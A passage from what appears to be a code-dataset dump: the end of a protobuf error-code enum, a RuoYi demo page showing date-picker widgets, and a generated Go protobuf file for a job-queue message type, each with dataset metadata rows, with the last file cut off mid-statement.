7; // ResourceExhausted indicates some resource has been exhausted, perhaps // a per-user quota, or perhaps the entire file system is out of space. ResourceExhausted = 8; // FailedPrecondition indicates operation was rejected because the // system is not in a state required for the operation's execution. // For example, directory to be deleted may be non-empty, an rmdir // operation is applied to a non-directory, etc. // // A litmus test that may help a service implementor in deciding // between FailedPrecondition, Aborted, and Unavailable: // (a) Use Unavailable if the client can retry just the failing call. // (b) Use Aborted if the client should retry at a higher-level // (e.g., restarting a read-modify-write sequence). // (c) Use FailedPrecondition if the client should not retry until // the system state has been explicitly fixed. E.g., if an "rmdir" // fails because the directory is non-empty, FailedPrecondition // should be returned since the client should not retry unless // they have first fixed up the directory by deleting files from it. // (d) Use FailedPrecondition if the client performs conditional // REST Get/Update/Delete on a resource and the resource on the // server does not match the condition. E.g., conflicting // read-modify-write on the same resource. FailedPrecondition = 9; // Aborted indicates the operation was aborted, typically due to a // concurrency issue like sequencer check failures, transaction aborts, // etc. // // See litmus test above for deciding between FailedPrecondition, // Aborted, and Unavailable. Aborted = 10; // OutOfRange means operation was attempted past the valid range. // E.g., seeking or reading past end of file. // // Unlike InvalidArgument, this error indicates a problem that may // be fixed if the system state changes. For example, a 32-bit file // system will generate InvalidArgument if asked to read at an // offset that is not in the range [0,2^32-1], but it will generate // OutOfRange if asked to read from an offset past the current // file size. // // There is a fair bit of overlap between FailedPrecondition and // OutOfRange. We recommend using OutOfRange (the more specific // error) when it applies so that callers who are iterating through // a space can easily look for an OutOfRange error to detect when // they are done. OutOfRange = 11; // Unimplemented indicates operation is not implemented or not // supported/enabled in this service. Unimplemented = 12; // Internal errors. Means some invariants expected by underlying // system has been broken. If you see one of these errors, // something is very broken. Internal = 13; // Unavailable indicates the service is currently unavailable. // This is a most likely a transient condition and may be corrected // by retrying with a backoff. Note that it is not always safe to retry // non-idempotent operations. // // See litmus test above for deciding between FailedPrecondition, // Aborted, and Unavailable. Unavailable = 14; // DataLoss indicates unrecoverable data loss or corruption. DataLoss = 15; // Unauthenticated indicates the request does not have valid // authentication credentials for the operation. Unauthenticated = 16; }
14,764
jsm
proto
en
protocol buffer
data
{"qsc_code_num_words": 1929, "qsc_code_num_chars": 14764.0, "qsc_code_mean_word_length": 5.16174184, "qsc_code_frac_words_unique": 0.2498704, "qsc_code_frac_chars_top_2grams": 0.01305614, "qsc_code_frac_chars_top_3grams": 0.01506478, "qsc_code_frac_chars_top_4grams": 0.008838, "qsc_code_frac_chars_dupe_5grams": 0.22757859, "qsc_code_frac_chars_dupe_6grams": 0.17053329, "qsc_code_frac_chars_dupe_7grams": 0.15908406, "qsc_code_frac_chars_dupe_8grams": 0.14703224, "qsc_code_frac_chars_dupe_9grams": 0.12172341, "qsc_code_frac_chars_dupe_10grams": 0.10726122, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01617082, "qsc_code_frac_chars_whitespace": 0.24187212, "qsc_code_size_file_byte": 14764.0, "qsc_code_num_lines": 501.0, "qsc_code_num_chars_line_max": 123.0, "qsc_code_num_chars_line_mean": 29.46906188, "qsc_code_frac_chars_alphabet": 0.87340302, "qsc_code_frac_chars_comments": 0.98767272, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.30769231, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 1, "qsc_code_mean_word_length": 0, "qsc_code_frac_words_unique": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 1, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/form/datetime.html
<!DOCTYPE html> <html lang="zh"> <head> <th:block th:include="include :: header('日期和时间')" /> <th:block th:include="include :: datetimepicker-css" /> </head> <body class="gray-bg"> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>日期选择器 <small>https://github.com/smalot/bootstrap-datetimepicker</small></h5> </div> <div class="ibox-content"> <div class="form-group"> <label class="font-noraml">简单示例</label> <div class="input-group date"> <span class="input-group-addon"><i class="fa fa-calendar"></i></span> <input type="text" class="form-control" id="datetimepicker-demo-1" placeholder="yyyy-MM-dd HH:mm"> </div> </div> <div class="form-group"> <label class="font-noraml">显示年月日</label> <div class="input-group date"> <span class="input-group-addon"><i class="fa fa-calendar"></i></span> <input type="text" class="form-control" id="datetimepicker-demo-2" placeholder="yyyy-MM-dd"> </div> </div> <div class="form-group"> <label class="font-noraml">显示年月日时分秒</label> <div class="input-group date"> <span class="input-group-addon"><i class="fa fa-calendar"></i></span> <input type="text" class="form-control" id="datetimepicker-demo-3" placeholder="yyyy-MM-dd HH:mm:ss"> </div> </div> <div class="form-group"> <label class="font-noraml">带清空的按钮</label> <div class="input-group date form_date"> <span class="input-group-addon"><i class="fa fa-calendar"></i></span> <input class="form-control" size="16" type="text" readonly> <span class="input-group-addon"><span class="glyphicon glyphicon-remove"></span></span> </div> </div> <div class="form-group"> <label class="font-noraml">日期范围选择</label> <div class="input-daterange input-group"> <input type="text" class="input-sm form-control" id="datetimepicker-startTime" placeholder="yyyy-MM-dd"/> <span class="input-group-addon">到</span> <input type="text" class="input-sm form-control" id="datetimepicker-endTime" placeholder="yyyy-MM-dd"/> </div> </div> <hr> <div class="form-group"> <label class="font-noraml">相关参数详细信息</label> <div><a href="http://doc.ruoyi.vip/ruoyi/document/zjwd.html#bootstrap-datetimepicker" target="_blank">http://doc.ruoyi.vip/ruoyi/document/zjwd.html#bootstrap-datetimepicker</a></div> </div> </div> </div> </div> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>日期选择器 <small>https://github.com/sentsin/laydate</small></h5> </div> <div class="ibox-content"> <div class="form-group"> <label class="font-noraml">简单示例</label> <div class="input-group date"> <span class="input-group-addon"><i class="fa fa-calendar"></i></span> <input type="text" class="form-control" id="laydate-demo-1" placeholder="yyyy-MM-dd"> </div> </div> <div class="form-group"> <label class="font-noraml">显示年月日</label> <div class="input-group date"> <span class="input-group-addon"><i class="fa fa-calendar"></i></span> <input type="text" class="form-control" id="laydate-demo-2" placeholder="yyyy-MM-dd"> </div> </div> <div class="form-group"> <label class="font-noraml">显示年月日时分秒</label> <div class="input-group date"> <span class="input-group-addon"><i class="fa fa-calendar"></i></span> <input type="text" class="form-control" id="laydate-demo-3" placeholder="yyyy-MM-dd HH:mm:ss"> </div> </div> <div class="form-group"> <label class="font-noraml">单框范围选择</label> <div class="input-group date"> <span class="input-group-addon"><i class="fa fa-calendar"></i></span> <input type="text" class="form-control" id="laydate-demo-4" placeholder="yyyy-MM-dd - yyyy-MM-dd"> </div> </div> <div class="form-group"> <label class="font-noraml">日期范围选择</label> <div class="input-daterange input-group"> <input type="text" class="input-sm form-control" id="laydate-startTime" placeholder="yyyy-MM-dd"/> <span class="input-group-addon">到</span> <input type="text" class="input-sm form-control" id="laydate-endTime" placeholder="yyyy-MM-dd"/> </div> </div> <hr> <div class="form-group"> <label class="font-noraml">相关参数详细信息</label> <div><a href="http://doc.ruoyi.vip/ruoyi/document/zjwd.html#laydate" target="_blank">http://doc.ruoyi.vip/ruoyi/document/zjwd.html#laydate</a></div> </div> </div> </div> </div> </div> </div> <th:block th:include="include :: footer" /> <th:block th:include="include :: datetimepicker-js" /> <script type="text/javascript"> $(function(){ <!-- datetimepicker示例 --> $("#datetimepicker-demo-1").datetimepicker(); $("#datetimepicker-demo-2").datetimepicker({ format: "yyyy-mm-dd", minView: "month", autoclose: true }); $("#datetimepicker-demo-3").datetimepicker({ format: "yyyy-mm-dd hh:ii:ss", autoclose: true }); $('.form_date').datetimepicker({ format: "yyyy-mm-dd", minView: "month", autoclose: true }); $("#datetimepicker-startTime").datetimepicker({ format: 'yyyy-mm-dd', minView: "month", todayBtn: true, autoclose: true, endDate : new Date(), }).on('changeDate', function(event) { event.preventDefault(); event.stopPropagation(); var startTime = event.date; $('#datetimepicker-endTime').datetimepicker('setStartDate', startTime); }); $("#datetimepicker-endTime").datetimepicker({ format: 'yyyy-mm-dd', minView: "month", todayBtn: true, autoclose: true, endDate : new Date(), }).on('changeDate', function(event) { event.preventDefault(); event.stopPropagation(); var endTime = event.date; $("#datetimepicker-startTime").datetimepicker('setEndDate', endTime); }); <!-- laydate示例 --> layui.use('laydate', function(){ var laydate = layui.laydate; laydate.render({ elem: '#laydate-demo-1' }); laydate.render({ elem: '#laydate-demo-2', type: 'date' }); laydate.render({ elem: '#laydate-demo-3', type: 'datetime', trigger: 'click' }); laydate.render({ elem: '#laydate-demo-4', range: true }); var startDate = laydate.render({ elem: '#laydate-startTime', max: $('#laydate-endTime').val(), theme: 'molv', trigger: 'click', done: function(value, date) { // 结束时间大于开始时间 if (value !== '') { endDate.config.min.year = date.year; endDate.config.min.month = date.month - 1; endDate.config.min.date = date.date; } else { endDate.config.min.year = ''; endDate.config.min.month = ''; endDate.config.min.date = ''; } } }); var endDate = laydate.render({ elem: '#laydate-endTime', min: $('#laydate-startTime').val(), theme: 'molv', trigger: 'click', done: function(value, date) { // 开始时间小于结束时间 if (value !== '') { startDate.config.max.year = date.year; startDate.config.max.month = date.month - 1; startDate.config.max.date = date.date; } else { startDate.config.max.year = ''; startDate.config.max.month = ''; startDate.config.max.date = ''; } } }); }); }); </script> </body> </html>
10,662
datetime
html
en
html
code
{"qsc_code_num_words": 931, "qsc_code_num_chars": 10662.0, "qsc_code_mean_word_length": 4.88721805, "qsc_code_frac_words_unique": 0.15037594, "qsc_code_frac_chars_top_2grams": 0.05626374, "qsc_code_frac_chars_top_3grams": 0.06263736, "qsc_code_frac_chars_top_4grams": 0.04483516, "qsc_code_frac_chars_dupe_5grams": 0.76483516, "qsc_code_frac_chars_dupe_6grams": 0.69582418, "qsc_code_frac_chars_dupe_7grams": 0.66747253, "qsc_code_frac_chars_dupe_8grams": 0.65978022, "qsc_code_frac_chars_dupe_9grams": 0.65978022, "qsc_code_frac_chars_dupe_10grams": 0.63692308, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00395583, "qsc_code_frac_chars_whitespace": 0.4309698, "qsc_code_size_file_byte": 10662.0, "qsc_code_num_lines": 236.0, "qsc_code_num_chars_line_max": 211.0, "qsc_code_num_chars_line_mean": 45.1779661, "qsc_code_frac_chars_alphabet": 0.74600297, "qsc_code_frac_chars_comments": 0.00243857, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.62149533, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.20797292, "qsc_code_frac_chars_long_word_length": 0.0254795, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.03864191, "qsc_codehtml_num_chars_text": 412.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 1, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 0}
1xyz/coolbeans
api/v1/job.pb.go
// Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.28.0 // protoc v3.19.3 // source: job.proto package coolbeans_api_v1 import ( protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" reflect "reflect" sync "sync" ) const ( // Verify that this generated code is sufficiently up-to-date. _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) // Verify that runtime/protoimpl is sufficiently up-to-date. _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) ) type JobStateProto int32 const ( JobStateProto_INITIAL JobStateProto = 0 JobStateProto_READY JobStateProto = 1 JobStateProto_RESERVED JobStateProto = 2 JobStateProto_BURIED JobStateProto = 3 JobStateProto_DELAYED JobStateProto = 4 JobStateProto_DELETED JobStateProto = 5 ) // Enum value maps for JobStateProto. var ( JobStateProto_name = map[int32]string{ 0: "INITIAL", 1: "READY", 2: "RESERVED", 3: "BURIED", 4: "DELAYED", 5: "DELETED", } JobStateProto_value = map[string]int32{ "INITIAL": 0, "READY": 1, "RESERVED": 2, "BURIED": 3, "DELAYED": 4, "DELETED": 5, } ) func (x JobStateProto) Enum() *JobStateProto { p := new(JobStateProto) *p = x return p } func (x JobStateProto) String() string { return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) } func (JobStateProto) Descriptor() protoreflect.EnumDescriptor { return file_job_proto_enumTypes[0].Descriptor() } func (JobStateProto) Type() protoreflect.EnumType { return &file_job_proto_enumTypes[0] } func (x JobStateProto) Number() protoreflect.EnumNumber { return protoreflect.EnumNumber(x) } // Deprecated: Use JobStateProto.Descriptor instead. func (JobStateProto) EnumDescriptor() ([]byte, []int) { return file_job_proto_rawDescGZIP(), []int{0} } type JobProto struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Unique identifier for job Id int64 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` // Priority is an integer < 2**32. Jobs with smaller priority values will be // scheduled before jobs with larger priorities. The most urgent priority is 0; // the least urgent priority is 4,294,967,295. Priority uint32 `protobuf:"varint,2,opt,name=priority,proto3" json:"priority,omitempty"` // delay is an integer number of seconds to wait before putting the job in // the ready queue. The job will be in the "delayed" state during this time. // Maximum delay is 2**32-1. Delay int64 `protobuf:"varint,3,opt,name=delay,proto3" json:"delay,omitempty"` // TTR/time to run -- is an integer number of seconds to allow a worker // to run this job. This time is counted from the moment a worker reserves // this job. If the worker does not delete, release, or bury the job within // <ttr> seconds, the job will time out and the server will release the job. // The minimum ttr is 1. If the client sends 0, the server will silently // increase the ttr to 1. Maximum ttr is 2**32-1. Ttr int32 `protobuf:"varint,4,opt,name=ttr,proto3" json:"ttr,omitempty"` // tube_name is the name of the tube associated with this job TubeName string `protobuf:"bytes,5,opt,name=tube_name,json=tubeName,proto3" json:"tube_name,omitempty"` // created is the time in UTC the job is created CreatedAt int64 `protobuf:"varint,6,opt,name=created_at,json=createdAt,proto3" json:"created_at,omitempty"` // ready_at is the time in UTC the job is ready ReadyAt int64 `protobuf:"varint,7,opt,name=ready_at,json=readyAt,proto3" json:"ready_at,omitempty"` // expires_at is the time in UTC, when current reservation expires ExpiresAt int64 `protobuf:"varint,8,opt,name=expires_at,json=expiresAt,proto3" json:"expires_at,omitempty"` // state is the current state of this job State JobStateProto `protobuf:"varint,9,opt,name=state,proto3,enum=coolbeans.api.v1.JobStateProto" json:"state,omitempty"` // reserved_by is the identifier of the client which has // reserved this job, the value is empty if un-reserved ReservedBy string `protobuf:"bytes,10,opt,name=reserved_by,json=reservedBy,proto3" json:"reserved_by,omitempty"` // body_size is an integer indicating the size of the job body, not including the // trailing "\r\n". This value must be less than max-job-size (default: 2**16) BodySize int32 `protobuf:"varint,11,opt,name=body_size,json=bodySize,proto3" json:"body_size,omitempty"` // body is the job body -- a sequence of bytes of length BodySize Body []byte `protobuf:"bytes,12,opt,name=body,proto3" json:"body,omitempty"` // buried_at the clock time when the job is buried BuriedAt int64 `protobuf:"varint,13,opt,name=buried_at,json=buriedAt,proto3" json:"buried_at,omitempty"` // reserve_count is the number of times this job has been reserved. ReserveCount uint32 `protobuf:"varint,14,opt,name=reserve_count,json=reserveCount,proto3" json:"reserve_count,omitempty"` // timeoutCount is the number of times this job has timed out during a reservation. TimeoutCount uint32 `protobuf:"varint,15,opt,name=timeout_count,json=timeoutCount,proto3" json:"timeout_count,omitempty"` // release_count is the number of times a client has released this job from a reservation. ReleaseCount uint32 `protobuf:"varint,16,opt,name=release_count,json=releaseCount,proto3" json:"release_count,omitempty"` // bury_count is the number of times this job has been buried. BuryCount uint32 `protobuf:"varint,17,opt,name=bury_count,json=buryCount,proto3" json:"bury_count,omitempty"` // kick_count is the number of times this job has been kicked KickCount uint32 `protobuf:"varint,18,opt,name=kick_count,json=kickCount,proto3" json:"kick_count,omitempty"` } func (x *JobProto) Reset() { *x = JobProto{} if protoimpl.UnsafeEnabled { mi := &file_job_proto_msgTypes[0] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *JobProto) String() string { return protoimpl.X.MessageStringOf(x) } func (*JobProto) ProtoMessage() {} func (x *JobProto) ProtoReflect() protoreflect.Message { mi := &file_job_proto_msgTypes[0] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use JobProto.ProtoReflect.Descriptor instead. func (*JobProto) Descriptor() ([]byte, []int) { return file_job_proto_rawDescGZIP(), []int{0} } func (x *JobProto) GetId() int64 { if x != nil { return x.Id } return 0 } func (x *JobProto) GetPriority() uint32 { if x != nil { return x.Priority } return 0 } func (x *JobProto) GetDelay() int64 { if x != nil { return x.Delay } return 0 } func (x *JobProto) GetTtr() int32 { if x != nil { return x.Ttr } return 0 } func (x *JobProto) GetTubeName() string { if x != nil { return x.TubeName } return "" } func (x *JobProto) GetCreatedAt() int64 { if x != nil { return x.CreatedAt } return 0 } func (x *JobProto) GetReadyAt() int64 { if x != nil { return x.ReadyAt } return 0 } func (x *JobProto) GetExpiresAt() int64 { if x != nil { return x.ExpiresAt } return 0 } func (x *JobProto) GetState() JobStateProto { if x != nil { return x.State } return JobStateProto_INITIAL } func (x *JobProto) GetReservedBy() string { if x != nil { return x.ReservedBy } return "" } func (x *JobProto) GetBodySize() int32 { if x != nil { return x.BodySize } return 0 } func (x *JobProto) GetBody() []byte { if x != nil { return x.Body } return nil } func (x *JobProto) GetBuriedAt() int64 { if x != nil { return x.BuriedAt } return 0 } func (x *JobProto) GetReserveCount() uint32 { if x != nil { return x.ReserveCount } return 0 } func (x *JobProto) GetTimeoutCount() uint32 { if x != nil { return x.TimeoutCount } return 0 } func (x *JobProto) GetReleaseCount() uint32 { if x != nil { return x.ReleaseCount } return 0 } func (x *JobProto) GetBuryCount() uint32 { if x != nil { return x.BuryCount } return 0 } func (x *JobProto) GetKickCount() uint32 { if x != nil { return x.KickCount } return 0 } var File_job_proto protoreflect.FileDescriptor var file_job_proto_rawDesc = []byte{ 0x0a, 0x09, 0x6a, 0x6f, 0x62, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x10, 0x63, 0x6f, 0x6f, 0x6c, 0x62, 0x65, 0x61, 0x6e, 0x73, 0x2e, 0x61, 0x70, 0x69, 0x2e, 0x76, 0x31, 0x22, 0xa7, 0x04, 0x0a, 0x08, 0x4a, 0x6f, 0x62, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x69, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x74, 0x74, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x74, 0x74, 0x72, 0x12, 0x1b, 0x0a, 0x09, 0x74, 0x75, 0x62, 0x65, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x74, 0x75, 0x62, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1d, 0x0a, 0x0a, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x61, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x19, 0x0a, 0x08, 0x72, 0x65, 0x61, 0x64, 0x79, 0x5f, 0x61, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x03, 0x52, 0x07, 0x72, 0x65, 0x61, 0x64, 0x79, 0x41, 0x74, 0x12, 0x1d, 0x0a, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x5f, 0x61, 0x74, 0x18, 0x08, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x12, 0x35, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x74, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, 0x63, 0x6f, 0x6f, 0x6c, 0x62, 0x65, 0x61, 0x6e, 0x73, 0x2e, 0x61, 0x70, 0x69, 0x2e, 0x76, 0x31, 0x2e, 0x4a, 0x6f, 0x62, 0x53, 0x74, 0x61, 0x74, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x52, 0x05, 0x73, 0x74, 0x61, 0x74, 0x65, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x73, 0x65, 0x72, 0x76, 0x65, 0x64, 0x5f, 0x62, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x72, 0x65, 0x73, 0x65, 0x72, 0x76, 0x65, 0x64, 0x42, 0x79, 0x12, 0x1b, 0x0a, 0x09, 0x62, 0x6f, 0x64, 0x79, 0x5f, 0x73, 0x69, 0x7a, 0x65, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x62, 0x6f, 0x64, 0x79, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x12, 0x1b, 0x0a, 0x09, 0x62, 0x75, 0x72, 0x69, 0x65, 0x64, 0x5f, 0x61, 0x74, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x62, 0x75, 0x72, 0x69, 0x65, 0x64, 0x41, 0x74, 0x12, 0x23, 0x0a, 0x0d, 0x72, 0x65, 0x73, 0x65, 0x72, 0x76, 0x65, 0x5f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x72, 0x65, 0x73, 0x65, 0x72, 0x76, 0x65, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x23, 0x0a, 0x0d, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x5f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x23, 0x0a, 0x0d, 0x72, 0x65, 0x6c, 0x65, 0x61, 0x73, 0x65, 0x5f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x10, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x72, 0x65, 0x6c, 0x65, 0x61, 0x73, 0x65, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x1d, 0x0a, 0x0a, 0x62, 0x75, 0x72, 0x79, 0x5f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x11, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x62, 0x75, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x1d, 0x0a, 0x0a, 0x6b, 0x69, 0x63, 0x6b, 0x5f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x6b, 0x69, 0x63, 0x6b, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x2a, 0x5b, 0x0a, 0x0d, 0x4a, 0x6f, 0x62, 0x53, 0x74, 0x61, 0x74, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x49, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x00, 0x12, 0x09, 0x0a, 0x05, 0x52, 0x45, 0x41, 0x44, 0x59, 0x10, 0x01, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x45, 0x53, 0x45, 0x52, 0x56, 0x45, 0x44, 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x55, 0x52, 0x49, 0x45, 0x44, 0x10, 0x03, 0x12, 0x0b, 0x0a, 0x07, 0x44, 0x45, 0x4c, 0x41, 0x59, 0x45, 0x44, 0x10, 0x04, 0x12, 0x0b, 0x0a, 0x07, 0x44, 0x45, 0x4c, 0x45, 0x54, 0x45, 0x44, 0x10, 0x05, 0x42, 0x14, 0x5a, 0x12, 0x2e, 0x3b, 0x63, 0x6f, 0x6f, 0x6c, 0x62, 0x65, 0x61, 0x6e, 0x73, 0x5f, 0x61, 0x70, 0x69, 0x5f, 0x76, 0x31, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( file_job_proto_rawDescOnce sync.Once file_job_proto_rawDescData = file_job_proto_rawDesc ) func file_job_proto_rawDescGZIP() []byte { file_job_proto_rawDescOnce.Do(func() { file_job_proto_rawDescData = protoimpl.X.CompressGZIP(file_job_proto_rawDescData) }) return file_job_proto_rawDescData } var file_job_proto_enumTypes = make([]protoimpl.EnumInfo, 1) var file_job_proto_msgTypes = make([]protoimpl.MessageInfo, 1) var file_job_proto_goTypes = []interface{}{ (JobStateProto)(0), // 0: coolbeans.api.v1.JobStateProto (*JobProto)(nil), // 1: coolbeans.api.v1.JobProto } var file_job_proto_depIdxs = []int32{ 0, // 0: coolbeans.api.v1.JobProto.state:type_name -> coolbeans.api.v1.JobStateProto 1, // [1:1] is the sub-list for method output_type 1, // [1:1] is the sub-list for method input_type 1, // [1:1] is the sub-list for extension type_name 1, // [1:1] is the sub-list for extension extendee 0, // [0:1] is the sub-list for field type_name } func init() { file_job_proto_init() } func file_job_proto_init() { if File_job_proto != nil { return } if !protoimpl.UnsafeEnabled { file_job_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*JobProto); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_job_proto_rawDesc, NumEnums: 1, NumMessages: 1, NumExtensions: 0, NumServices: 0, }, GoTypes: file_job_proto_goTypes, DependencyIndexes: file_job_proto_depIdxs, EnumInfos: file_job_proto_enumTypes, MessageInfos: file_job_proto_msgTypes, }.Build() File_job_proto = 